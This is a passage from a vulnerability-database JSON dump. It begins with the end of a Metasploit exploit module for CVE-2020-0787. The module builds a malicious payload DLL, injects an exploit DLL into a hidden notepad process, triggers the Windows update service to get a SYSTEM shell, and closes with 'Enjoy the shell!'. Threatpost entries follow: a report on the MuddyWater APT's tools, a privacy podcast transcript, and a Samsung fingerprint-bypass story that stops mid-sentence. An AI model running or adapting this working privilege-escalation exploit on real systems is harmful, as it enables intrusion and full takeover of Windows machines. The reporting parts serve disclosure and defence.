\"#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false\")\n end\n end\n target_payload_pathname = wow64_target_payload_pathname\n elsif file?(normal_target_payload_pathname)\n print_warning(\"#{normal_target_payload_pathname} already exists\")\n print_warning('If it is in use, the overwrite will fail')\n unless datastore['OVERWRITE_DLL']\n print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')\n fail_with(Failure::BadConfig, \"#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false\")\n end\n target_payload_pathname = normal_target_payload_pathname\n end\n target_payload_pathname\n end\n\n def launch_background_injectable_notepad\n print_status('Launching notepad to host the exploit...')\n notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)\n process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)\n print_good(\"Process #{process.pid} launched.\")\n process\n rescue Rex::Post::Meterpreter::RequestError\n # Sandboxes could not allow to create a new process\n # stdapi_sys_process_execute: Operation failed: Access is denied.\n print_error('Operation failed. Trying to elevate the current process...')\n process = client.sys.process.open\n process\n end\n\n def exploit\n # NOTE: Automatic check is implemented by the AutoCheck mixin\n super\n\n # Step 1: Check target environment is correct.\n print_status('Step #1: Checking target environment...')\n if is_system?\n fail_with(Failure::None, 'Session is already elevated')\n end\n client_arch = sysinfo['Architecture']\n check_target_is_running_supported_windows_version\n check_target_and_payload_match_and_supported(client_arch)\n check_windowscoredeviceinfo_dll_exists_on_target\n\n # Step 2: Generate the malicious DLL and upload it to a temp location.\n print_status('Step #2: Generating the malicious DLL...')\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787')\n datastore['EXE::Path'] = path\n if client_arch =~ /x86/i\n datastore['EXE::Template'] = ::File.join(path, 'template_x86_windows.dll')\n library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x86.dll')\n library_path = ::File.expand_path(library_path)\n elsif client_arch =~ /x64/i\n datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')\n library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x64.dll')\n library_path = ::File.expand_path(library_path)\n end\n\n payload_dll = generate_payload_dll\n print_status(\"Payload DLL is #{payload_dll.length} bytes long\")\n temp_directory = session.sys.config.getenv('%TEMP%')\n malicious_dll_location = \"#{temp_directory}\\\\\" + Rex::Text.rand_text_alpha(6..13) + '.dll'\n write_file(malicious_dll_location, payload_dll)\n register_file_for_cleanup(malicious_dll_location)\n\n # Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.\n print_status('Step #3: Loading the exploit DLL to run the main exploit...')\n process = launch_background_injectable_notepad\n\n print_status(\"Injecting DLL into #{process.pid}...\")\n exploit_mem, offset = inject_dll_into_process(process, library_path)\n\n dll_info_parameter = malicious_dll_location.to_s\n payload_mem = inject_into_process(process, dll_info_parameter)\n\n # invoke the exploit, passing in the address of the payload that\n # we want invoked on successful exploitation.\n print_status('DLL injected. Executing injected DLL...')\n process.thread.create(exploit_mem + offset, payload_mem)\n\n print_status(\"Sleeping for #{datastore['JOB_WAIT_TIME']} seconds to allow the exploit to run...\")\n sleep datastore['JOB_WAIT_TIME']\n\n register_file_for_cleanup('C:\\\\Windows\\\\System32\\\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up.\n # Normally we can't delete this file though as there will be a SYSTEM service that has a handle to this file.\n\n print_status(\"Starting the interactive scan job...\")\n # Step 4: Execute `usoclient StartInteractiveScan` to trigger the payload\n # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.\n session.shell_command_token('usoclient StartInteractiveScan')\n\n print_status(\"Enjoy the shell!\")\n end\nend\n", "sourceHref": "https://0day.today/exploit/34553", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2022-01-13T18:12:51", "description": "U.S. Cyber Command has confirmed that [MuddyWater](<https://threatpost.com/wirte-middle-eastern-governments/176688/>) \u2013 an advanced persistent threat (APT) cyberespionage actor aka Mercury, Static Kitten, TEMP.Zagros or Seedworm that\u2019s historically [targeted government victims](<https://threatpost.com/muddywater-apt-custom-tools/144193/>) in the Middle East \u2013 is an Iranian intelligence outfit.\n\nThe link has been suspected, and now it\u2019s government-stamped. On Wednesday, USCYBERCOM not only confirmed the tie; it also disclosed the plethora of open-source [tools and strategies](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/12/cnmf-identifies-and-discloses-malware-used-iranian-apt-muddywater>) MuddyWater uses to break into target systems and released malware samples.\n\n\u201cMuddyWater has been seen using a variety of techniques to maintain access to victim networks,\u201d according to USCYBERCOM\u2019S National Mission Force (CNMF). \u201cThese include side-loading DLLs in order to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide command and control functions.\u201d\n\nUSCYBERCOM has uploaded multiple MuddyWater-attributed malware samples to [VirusTotal](<https://www.virustotal.com/gui/user/CYBERCOM_Malware_Alert>).\n\n> Iranian MOIS hacker group [#MuddyWater](<https://twitter.com/hashtag/MuddyWater?src=hash&ref_src=twsrc%5Etfw>) is using a suite of malware to conduct espionage and malicious activity. If you see two or more of these malware on your network, you may have MuddyWater on it: <https://t.co/xTI6xuQOg3>. Attributed through [@NCIJTF](<https://twitter.com/ncijtf?ref_src=twsrc%5Etfw>) [@FBI](<https://twitter.com/FBI?ref_src=twsrc%5Etfw>)\n> \n> \u2014 USCYBERCOM Cybersecurity Alert (@CNMF_CyberAlert) [January 12, 2022](<https://twitter.com/CNMF_CyberAlert/status/1481341952247349248?ref_src=twsrc%5Etfw>)\n\nUSCYBERCOM\u2019s [press release](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>) described MuddyWater as being \u201ca subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).\u201d The [Congressional Research Service](<https://crsreports.congress.gov/product/pdf/RL/RL32048>) describes MOIS as conducting \u201cdomestic surveillance to identify regime opponents\u201d and said that the agency is responsible for surveillance of anti-regime activists abroad through a network of agents placed in Iran\u2019s embassies.\n\n## New Variants of PowGoop Malware\n\nAmong multiple malware sets, MuddyWater is using new variants of the PowGoop malware family, CNMF said.\n\nPowGoop was first [described](<https://unit42.paloaltonetworks.com/thanos-ransomware/>) by Palo Alto Networks in September 2020, when it was used in attacks on two state-run organizations in the Middle East and North Africa that ultimately installed and ran a variant of the [Thanos](<https://threatpost.com/thanos-ransomware-weaponize-riplace-tactic/156438/>) ransomware.\n\nAt the time, Palo Alto suspected that the threat actors were using a downloader \u2013 one that researchers dubbed PowGoop \u2013 to reach out to a remote server to download and execute PowerShell scripts. The name comes from the use of GoogleUpdate.exe to load a malicious, modified version of goopdate.dll \u2013 a DLL that\u2019s used to load a malicious PowerShell script from an external file.\n\nPowGoop has been buffed up since it was first spotted: SentinelLabs on Wednesday [explained](<https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/>) that significantly enhanced, newer variants of PowGoop have shown up in the wild, discovered in recently triaged incidents, \u201csuggesting the group continues to use and maintain it even after recent exposures.\u201d\n\n\u201cThe new variants reveal that the threat group has expanded its arsenal of legitimate software used to load malicious DLLs,\u201d SentinelOne intelligence researcher Amitai Ben Shushan Ehrlich wrote.\n\nEhrlich explained that, aside from GoogleUpdate.exe, three more benign pieces of software are abused in order to sideload malicious DLLs: Git.exe, FileSyncConfig.exe and Inno_Updater.exe.\n\nCNMF has shared new samples showing the different parts of MuddyWater\u2019s new suite of tools, along with JavaScript files used to establish connections back to malicious infrastructure. They include new PowGoop command-and-control (C2) beacon variants as well as the Mori Backdoor: a backdoor used for cyber espionage that employes DNS tunneling to communicate with the C2 infrastructure.\n\n\u201cAny instances of these files may indicate an attacker in the network,\u201d CNMF reiterated about newly released and already known indicators of compromise (IoC). \u201cShould a network operator identify multiple of the tools on the same network, it may indicate the presence of Iranian malicious cyber actors.\u201d\n\n## Love of Tunneling, Exchange Exploits & Ruler Abuse\n\nSentinelLabs drilled down into multiple additional recent findings about MuddyWater\u2019s techniques, tactics and procedures (TTPs), including:\n\n**MuddyWater Tunneling Activity: **\u201cThe operators behind MuddyWater activities are very fond of tunneling tools,\u201d SentinelOne\u2019s Ehrlich wrote. \u201cThe custom tools used by the group often provide limited functionality, and are used to drop tunneling tools which enable the operators to conduct a wider set of activities.\u201d\n\nMuddyWater attackers are using tunneling tools including Chisel, SSF and Ligolo: tools that enable the threat actor to connect to machines within target environments as if they were inside the operator LAN, he explained.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/01/13120926/Summary-of-MuddyWater-tunneling-using-Chisel--e1642093784315.png>)\n\nSummary of MuddyWater tunneling using Chisel. Source: Sentinel Labs.\n\n**Exploiting Microsoft Exchange: **Sentinel Labs has also tracked MuddyWater targeting Exchange servers of high-profile organizations. \u201cThis subset of Exchange exploitation activity is rather interesting, as without context it would be difficult to attribute it to MuddyWater because the activity relies almost completely on publicly available offensive security tools,\u201d Ehrlich noted.\n\nThey\u2019re using two tools to try to exploit Exchange servers: a publicly available script for exploiting [CVE-2020-0688](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 a vulnerability that enables remote code execution (RCE) for an authenticated user \u2013 and Ruler, an open source Exchange exploitation framework recently used to target a string of Middle Eastern telecom operators and IT companies, as [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east>) by Symantec\u2019s Threat Hunter Team last month.\n\n## MuddyWater: Better & Better at Stirring Up Muck\n\nAnalysis shows that the MuddyWater APT continues to evolve and adapt its techniques Sentinel Labs summarized. \u201cWhile still relying on publicly available offensive security tools, the group has been refining its custom toolset and utilizing new techniques to avoid detection,\u201d Ehrlich observed, pointing to evolution of the PowGoop malware family, the group\u2019s use of tunneling tools, and its targeting of Exchange servers in high-profile organizations.\n\nThe group doesn\u2019t have to be fancy to be effective, he noted: \u201cLike many other Iranian threat actors, the group displays less sophistication and technological complexity compared to other state-sponsored APT groups. Even so, it appears MuddyWater\u2019s persistency is a key to their success, and their lack of sophistication does not appear to prevent them from achieving their goals.\u201d\n\n**Password** **Reset: ****[On-Demand Event](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>):** Fortify 2022 with a password security strategy built for today\u2019s threats. This [Threatpost Security Roundtable](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>), built for infosec professionals, centers on enterprise credential management, the new password basics and mitigating post-credential breaches. Join Darren James, with Specops Software and Roger Grimes, defense evangelist at KnowBe4 and Threatpost host Becky Bracken. **[Register & Stream this FREE session today](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>)** \u2013 sponsored by Specops Software.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-13T17:35:34", "type": "threatpost", "title": "US Military Ties Prolific MuddyWater Cyberespionage APT to Iran", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-01-13T17:35:34", "id": "THREATPOST:6EA5AB7FCD767A01EA56D7EEF6DA0B0A", "href": "https://threatpost.com/us-military-ties-muddywater-cyberespionage-apt-iran/177633/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:11", "description": "Data privacy has been an outstanding theme this past week, and the Threatpost team discussed the biggest privacy related news. In the news wrap podcast for April 26, the team discussed the backstories behind several reports from the week, including:\n\n * Facebook potentially [facing Federal Trade Commission (FTC) fines](<https://threatpost.com/facebook-5-billion-ftc-fine/144104/>) as high as $5 billion for its data-security practices\n * A report that employees at Amazon can [access geolocation information](<https://threatpost.com/amazon-employees-personal-alexa/144119/>) for Alexa users\n * Questions around data security and consent around[ facial recognition](<https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/>) after the EU\u2019s approval of a massive biometrics database\n * The exposure of [2 million passwords](<https://threatpost.com/leaky_app_data/144029/>) for Wi-Fi hotspots online by an insecure database\n\n[\ufeff\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/9544445/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below is a lightly edited transcript of the podcast._\n\n**Lindsey O\u2019Donnell**: Welcome to the Threatpost podcast, and the Threatpost team is all here this Friday morning. You\u2019ve got Lindsey O\u2019Donnell and I\u2019m here with Tara Seals and Tom Spring. Hey, everyone.\n\n**Tara Seals:**Hey, Lindsey.\n\n**Tom Spring: **How\u2019s it going, Lindsey? How\u2019s it going, Tara?\n\n**Lindsey**: Good. So, privacy has really been kind of the name of the game this week, in terms of all the stories that we\u2019ve written. And I know, we had a lot of data privacy type stories, everything from Amazon Echo privacy issues to facial recognition. But if we\u2019re talking about data privacy, I think we should really start by bringing Facebook into the conversation here, as we usually do.\n\n**Tara: **Yeah, that seems to have been a top theme of the week for sure. And you did a ton of reporting on that this week.\n\n**Lindsey: **Yeah, so, the big news this week was that Facebook may be facing fines of between $3 to $5 billion for that FTC fine that was related to the Cambridge Analytica incident last year, and all of their data privacy issues that they\u2019ve had since then. So, Facebook had its earnings and disclosed this amount of money that is set aside as contingency expenses. And I feel like we keep hearing about reports of Facebook, having all these data sharing incidents, or having all these crazy data practices, but now we\u2019re really looking at the consequences. And everyone\u2019s wondering how data collection and sharing will be regulated and what kind of fines we\u2019ll see. So that should be interesting to keep an eye on how this actually plays out in the coming months.\n\n**Tara: **Yeah, and I wonder in terms of all of that, when we talk about the GDPR, over in Europe, and how it has really stringent requirements for explicit consent before somebody harvests your data, which obviously is not something that Facebook adheres to, for U.S. citizens anyway \u2013 have there been any rumblings out there in terms of whether or not Facebook might face future regulation?\n\n**Lindsey: **I think that\u2019s there\u2019s been a lot of discussion about it. I know, obviously, Mark Zuckerberg has appeared in front of Congress. And it\u2019s definitely been at the forefront of discussion. But beyond some state-level data privacy practice regulations, it\u2019s something that people are still trying to figure out. So I think that\u2019s kind of why this FTC fine is at the center of attention. There was news today, actually, that the _New York Times _was talking to sources who said that the FTC is discussing stronger monitoring of Facebook\u2019s privacy policies, as well as direct punishment of Mark Zuckerberg. So that raises questions about how to deal with data sharing, whether it\u2019s kind of hitting at the CEO, or even just imposing bigger fines. But Tara, I know, you listen to the actual earnings call. Were there any special call outs about the fine or data security in general? I\u2019m curious if they talked about it at all.\n\n**Tara:**They studiously avoided talking about the fines specifically, which, it\u2019s a charge off of, they added $3 billion, and they said it could go up to as much as $5 billion, and so that ate into their profit, which is kind of interesting, because they reported, I think it was, I don\u2019t have it in front of me, but I think it was around like $2.3 billion in profit for the quarter.\n\nAnd that that is taking into account that $3 billion contingency fine. And they didn\u2019t really specifically discuss it. But they did say that they expected profits to continue to waver a little bit going forward, due to regulatory headwinds, as well as advertising-related falloff, because they\u2019re not sure that they can make the same amount of revenue off of ad targeting that they have in the past.\n\nSo that sort of in a roundabout way speaks to the fact that they\u2019re looking into making some changes in terms of how they collect and use user data. But that\u2019s sort of reading between the lines, and they certainly didn\u2019t say anything explicit about it, unfortunately.\n\n**Lindsey: **Right. Well, I know one big point of discussion was, is this enough? How does this compare to past fines? Because I know Facebook has faced various fines in the past, which Tara you have actually written about. I think it was in December it was fined like $11 million. And then in October, it was fined $645,000. So obviously, those kind of shy away in comparison to $5 billion, but I think people are still kind of asking, how does this compare? Facebook\u2019s kind of overall \u2013\n\n**Tara: **Yeah, their overall profit, annual, you know, $3 to 5 billion is significant for them, actually.\n\n**Tom:**Well, I just looked it up. Facebook made more than $40 billion in revenue in 2017.\n\n**Tara: **What\u2019s the profit? That\u2019s the real marker right?\n\n**Tom: **Well, it is the real marker.\n\n**Lindsey: ** I\u2019m curious what will come out of it. But I do know that everyone\u2019s really looking at this as some sort of precedent for how Facebook will be regulated in the future, if it continues with the data security issues that have been happening over the past year, since Cambridge Analytica.\n\n**Tara: **One of the things too, Lindsey, that I wanted to ask you about was, you know, [the poll that we did](<https://threatpost.com/three-fourths-of-consumers-dont-trust-facebook-threatpost-poll-finds/143963/>) on attitudes towards Facebook. But, you know, also in the wake of their earnings that showed that they had seen an 8 percent year over year, subscriber jump, so the headlines, even though people are sort of horrified by them, they\u2019re not really dissuading people from actually using the platform, which I think is interesting. And then also their stock price just skyrocketed, after they reported their earnings, even with the charge off for the fine. So I don\u2019t know, I don\u2019t know what\u2019s going to happen in the future and whether any of this is going to make a difference in terms of whether or not it\u2019s successful as a company.\n\n**Tom: **I was just thinking, I think that, it\u2019d be interesting to watch the regulatory space to see what the U.S. does, especially with GDPR, in terms of what\u2019s going on in Europe, and really a constant sort of, you know, march of bad news in terms of privacy, and also with breaches that are taking place, not only with Facebook, but with a ton of other companies \u2013 I think what we\u2019re doing is we\u2019re setting up in 2020, and beyond some new rules around privacy and some new regulations around privacy. Because I mean, as you just pointed out, Tara, fines and threats and punishments are not really are impacting the way Facebook\u2019s doing business or hurting them in terms of their business model.\n\n**Lindsey: **Right. I don\u2019t think at all that people are going to stop using Facebook. And I mean, to be totally honest, even if they do adopt some sort of model where you pay to use the platform without advertising or without your data being collected and shared \u2013 I\u2019m not sure how many people would even opt in for that as well. I mean, I could be completely wrong. But I don\u2019t know if people are going to pay an extra like $5 a month or something to use a social media platform that\u2019s already free.\n\n**Tom: **Yeah, I don\u2019t think anybody\u2019s going to be paying. But I think what you\u2019ll see is probably some government intervention. That\u2019s my prediction. I mean, the things that we regulate here in the U.S. \u2013 these companies, whether it be Amazon, Google, or Facebook, they\u2019ve basically had a clear runway to do whatever they wanted for I don\u2019t know how many years. And, you know, if you think about all the different things that we regulate in this country, privacy really isn\u2019t one of them right now, but certainly isa right target for legislators to focus on.\n\n**Lindsey: **Right. That\u2019s the good point. Speaking of Amazon, I know, Tara, you covered a really interesting story this week too about news of their auditing program for Echo devices, which had already been reported. But now I guess a new report said that they\u2019re also exposing geolocation data, in addition to voice data. Can you add some color there?\n\n**Tara: **Sure. So, this story was really interesting to me. And it\u2019s not just Echo either. It\u2019s also, you know, the other Alexa devices including the Fire TV devices and there are tons of third-party gadgets that have Alexa built in now. So this is kind of a broad reaching story, from an Internet of Things perspective. But yeah, so apparently, and as you pointed out, this is something that _Bloomberg _had broken a story on about three weeks ago, talking about the fact that Amazon has a team of people in place that may manually audit Alexa interactions to make sure that the AI is learning appropriately. And it\u2019s been effective and accurate and returning good results for users, and all that kind of thing. But what\u2019s interesting is in the process of that, this data, which is supposed to be anonymous, right? So it\u2019s just sort of random snippets \u2013 human people will listen to this, and then see what Alexa\u2019s response was matched up, make sure that it\u2019s accurate, do whatever secret sauce they have to do with the algorithm and the AI to fix it, or to make her smarter \u2013 But in the process of this, apparently, geolocation data gets scooped up here. Because when people ask, Alexa, tell me what the weather forecast is, or Alexa, I\u2019m feeling like Chinese, is anybody delivering to my house, that type of thing. That necessarily, obviously, those local results have to be tied to geolocation data. So they\u2019re scooping up and harvesting and storing and logging GPS coordinates, in addition to sort of these random, other snippets. And so there were five different employees within Amazon that are working on this program, that basically came forward and said that they feel that nobody gave their consent for this and that it\u2019s too broad of an access for them to have. And then they actually on a whim, sort of plugged these coordinates into Google Maps and found that they could actually track somebody\u2019s place of business or their house, and even bring up a picture of that house. And through other means, actually identify who lives there, and then tie all this other information together and be able to create a very creative profile.\n\n**Tom: **I agree with you, Tara, I think that we need to be more concerned about the privacy that we hand over to these types of digital devices. And I\u2019m even more concerned now about the privacy issues that have surround geo-specific apps, where you\u2019re using an app and it understands where you\u2019re at and gives you sort of context-relevant information, and how that data is being used, and who\u2019s using it, and who\u2019s collecting it. When you think about Amazon, they\u2019re a much more potentially powerful company considering all the tentacles that it has into my buying and my data, and my home with their Alexa speakers.\n\n**Lindsey:**Yeah, that\u2019s a really good point. And I\u2019m curious too about the consent and notification side of all of this. I mean, did they have any response Tara about if they gave any notification that they were doing any of this at all? Is there anything on Amazon\u2019s website about this program?\n\n**Tara: **No, no, this was completely in the background until _Bloomberg _came forward with their report, they didn\u2019t acknowledge that it exists. And they just put out a statement saying, you know, we take privacy seriously. And saying, we limit, the number of people that have access to this, who are tasked with doing this as part of their job, and they\u2019re bound by, you know, all kinds of restrictions and things like that it\u2019s highly controlled.\n\n**Tom: **I gotta come back to the point where I feel like this is an area ripe for regulation. I\u2019m not pro regulation but I mean, if this is something that consumers are outraged about \u2013 I think there\u2019s got to be a GDPR type regulations that we\u2019re going to see here in the U.S. that that are going to impact the Facebook\u2019s and the Amazons in the world.\n\n**Tara: **Right and now, we have other types of privacy and sort of potentially intrusive privacy issues to worry about too \u2013 Lindsey, going back to some of the reporting you did this week, but with the facial recognition stuff is happening. You know that that seems like sort of the Wild West out there. There\u2019s no regulation around that.Right?\n\n**Lindsey: **Well, yeah, exactly. And the scary thing about that, too, is that a lot of the facial recognition applications out there are actually being used by the government. So by the Department of Homeland Security and by policemen and whatnot. But yeah, facial recognition came up in the headlines a bunch this week, because there\u2019s been two different incidents. The first was you guys may have heard the EU last week approved a massive biometrics database that would combine the data from law enforcement, from Border Patrol, and more for both EU and non US citizens. So there was that. And then there was another incident this week that occurred where a JetBlue passenger was boarding a flight. And she noticed that instead of scanning her boarding pass, or taking a look at her passport, she was directed to look into a camera, before being allowed on onto the jet bridge. So she was confused about what was going on and so tweeted at JetBlue. And it turns out, this was part of a Customs and Border Patrol program that\u2019s used in I think, 17 airports, where it uses facial recognition to identify passengers and let them through the gateway onto the plane. So her tweet went viral and kind of started this massive conversation about facial recognition and you know, if you can consent and where the data is coming from, how it\u2019s being shared. So that\u2019s been a really interesting story to cover, and kind of see the backlash and reaction to both of these incidents.\n\n**Tom: **I can relate to that. I recently traveled to Mexico, for a little vacation. And, I am seeing facial recognition more and more in my life. I think the interesting thing about your story, Lindsey, was also you wrote about consent, whether or not all of these facial recognition systems actually ask for consent and get consent, which they don\u2019t. But when I went to Mexico, we flew into Mexico, and then we went through customs in Mexico, and Mexico had immigration kiosks, where they asked for facial recognition and fingerprints, and to scan our passports, which \u2013 I was really creeped out. My son, who\u2019s 14 years old, I think probably is now part of the government database of fingerprints and facial recognition. It was kind of weird. Considering, you know, he\u2019d been off grid, perhaps I think for a while now, he\u2019s part of the system. And then we flew back into the United States. There was these huge immigration lines in the Boston Airport. And one of the things that we were able to do was to cut the line by using what was called a mobile passport app. And I didn\u2019t realize it but when you use the app, and you get to skip this, this huge onerous line that goes to basically more facial recognition kiosks for people coming into the United States. And the app itself was pretty slick. I mean, it\u2019s kind of funny, because I felt really good about using the app, because it allowed me to cut in line. But the app basically did a facial recognition, had me input my passport information, and basically, took my identity in this app. And, I was so eager to cut the line, I gotta admit, I kind of skipped over a lot of the terms of services. And it saved me about 45 minutes. And for the price of handing over my biometric data to the government and to this to this app.\n\n**Lindsey: **That experience brings up a really good point, because, I think that there definitely are benefits to facial recognition. Like, it\u2019s not all about this dire Orwellian society. I think it makes these processes so much more efficient. But I do think there\u2019s also a bunch of kind of privacy concerns that people expressed to me over the past week. And, Tom, like you were saying, consent and notification, but then also in terms of how the data is being secured, how it\u2019s being shared, and who\u2019s gaining access to that data. So I think that there\u2019s kind of a lot that goes into it. I know that we actually did a poll, a Threatpost poll, and half of the respondents, this kind of surprised me, but half of the respondents said that they don\u2019t believe consent is realistically possible when it comes to facial recognition. So I thought that was interesting, too, because if you think about some of the use cases where biometrics and facial recognition exists, if you have like a security camera, or surveillance camera that is using facial recognition, there\u2019s not a lot you can do to opt out of that except for avoiding that area.\n\n**Tom:**Well, I think you mentioned that the White House now has a zone where they use facial recognition. And right there, there\u2019s no way you can say no, you walk into that zone. And you\u2019re basically get put into a big database, and they cross reference it and figure out who you are.\n\n**Lindsey: **Right. So there\u2019s a lot that goes into that. And then when I was talking to a bunch of security people at the Electronic Frontier Foundation, as well, they were mentioning that there really needs to be regulation for all this. And there, there is one law that exists in Illinois, where it basically regulates the collection of biometric data without consent. But they think that there needs to be more. And in particular, regulation that impacts law enforcement, as opposed to just businesses which that law did. So I know, there\u2019s also been a new bill that was introduced in March, it was, what was it called, the Commercial Facial Recognition Privacy Act, that would have like more widespread implications for businesses in terms of how what kind of notification and consent they would need when they use facial recognition. So I think that\u2019s kind of a step in the right direction, but something to be looking out for.\n\n**Tom: **Yeah, facial recognition has been a creepy topic for a long time. But you know, as these GPUs get better, and these computers get better, and the efficiency of the compute behind them get better. It just becomes even creepier. I don\u2019t even think the tin foil hats will help protect you.\n\n**Lindsey: **So Tom, you also had an interesting story this week. I think it was about passwords being \u2013 I think it was 2 million passwords were \u2013 being exposed.\n\n**Tom: **Yeah. So I mean, we hear about these breach stories all the time. And I mean, there\u2019s probably like, since we\u2019ve been talking, there\u2019s probably been like three breaches, or should I say leaky servers and insecure data on the internet. And one of the things that I think is kind of interesting about the story is that the leaky data, it was tied to a China-based app manufacturer, called Wi Fi Finder. And researchers at GDI Foundation, found 2 million hotspots and passwords for those hotspots on the servers of this app, this Android app called WiFi Finder. And essentially, it\u2019s pretty straightforward. The app itself is an Android-based app, you can get it on Google Play. And it\u2019s one of many of apps that do the same thing. And that is essentially crowdsource on Wi-Fi hotspot data, and also pairing that information with passwords. So the idea is if your dataset is big enough, and you\u2019re wandering around with this app on your phone, you can find a hotspot, and you can authenticate to that hotspot, and you don\u2019t have to ask anybody for a Wi-Fi password. Now, the data that was found on the servers was pretty extensive in the sense that it wasn\u2019t just commercial businesses. So you know, you go to Starbucks, you go to your local gym, or you go to, you know, a bookstore or something like that, you know, you have these public Wi Fi hotspots with a password that you may have to ask for, you may have to look for. And what was happening was that people were crowdsourcing private companies that were not, generally publicly accessible. And for some odd reason, and this really wasn\u2019t explained very well in the reporting, of the research, was that there was a massive, massive amount of Wi-Fi hotspots that were owned by home users like consumers. And so you would you basically had a lot of a lot of password information and a lot of hotspots by consumers in their homes. And the concern there is, is that in a commercial setting, or even in a sort of a public business, publicly accessible hotspot, there are protections put in place to prevent people from messing with the router configurations and accessing some of the some of the settings within the router. But as if you have access to a home router, those security measures are not in place. And there was no documented cases of hacking, but the concern was there regarding that type of information being available to anybody that had access to this leaky server.\n\n**Lindsey:**I feel like we keep seeing this issue of insecure databases and these accidental exposures, which, obviously are different from a malicious breach. I\u2019m curious if there\u2019s something that can be done to prevent this for people who own these databases. I mean, Tom, did you talk to anyone, any experts who had any recommendations about how to better secure databases and kind of what the underlying problem is here?\n\n**Tom: **I did talk to a couple experts on this one. And, you know, the advice is always the same.In terms of leaky data on servers, it doesn\u2019t change much. Just make sure you configure your servers correctly, and make sure that they\u2019re not accessible to the public. I mean, there\u2019s a couple strategies that you can apply to that. I think one of the one of the other suggestions was the way in which some of these publicly accessible sites providing and offer Wi-Fi, and that would be more or less not an open Wi-Fi, not an insecure Wi-Fi, but things that use tokens and allow and divvy out Wi-Fi to individuals using a specific time delineated username and a unique password. And that way, it would basically render all of these apps useless, because there would be a unique username and a unique password, that would timeout within a certain period of time, which would really create a much more secure public Wi-Fi experience. And that was really the suggestion. And that was really what the experts were saying that I talked to regarding the blowback on this story.\n\n**Lindsey: **Well, I\u2019m feeling sufficiently like I need more privacy right now. Maybe we should wrap up now, Tom and Tara, thanks for taking the time and really interesting discussion today.\n\n**Tara: **Yeah. Thanks, Lindsay. Thanks, Tom.\n\n**Tom: **Yeah, have a great weekend. Have a great weekend.\n\n**Lindsey: **Catch us next week on the Threatpost podcast.\n\nFor direct download, [click here](<http://traffic.libsyn.com/digitalunderground/NEWS_WRAP_FINAL.mp3>).\n", "cvss3": {}, "published": "2019-04-26T17:57:36", "type": "threatpost", "title": "News Wrap: Amazon Echo Privacy, Facebook FTC Fines and Biometrics Regulation", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T17:57:36", "id": "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147", "href": "https://threatpost.com/threatpost-news-wrap-podcast-for-apr-26/144144/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:23:40", "description": "Samsung has reportedly started rolling out a software patch for the Galaxy S10 and Note10, addressing glitches in both phone models that allow the bypass of their built-in fingerprint authentication sensors.\n\nThe fix comes after Samsung admitted last week that anyone [can bypass the Galaxy S10 fingerprint sensor](<https://threatpost.com/galaxy-s10-fingerprint-sensor-thwarted-with-screen-protector-report/149197/>) if a third-party silicon case is enclosing the phone. The acknowledgement led to widespread backlash from customers, while several U.K.-based banks have also started blacklisting impacted Samsung devices for their apps, as the issue also allowed users to access various apps on the impacted devices that were using the biometric function for authentication.\n\nAccording to a Wednesday 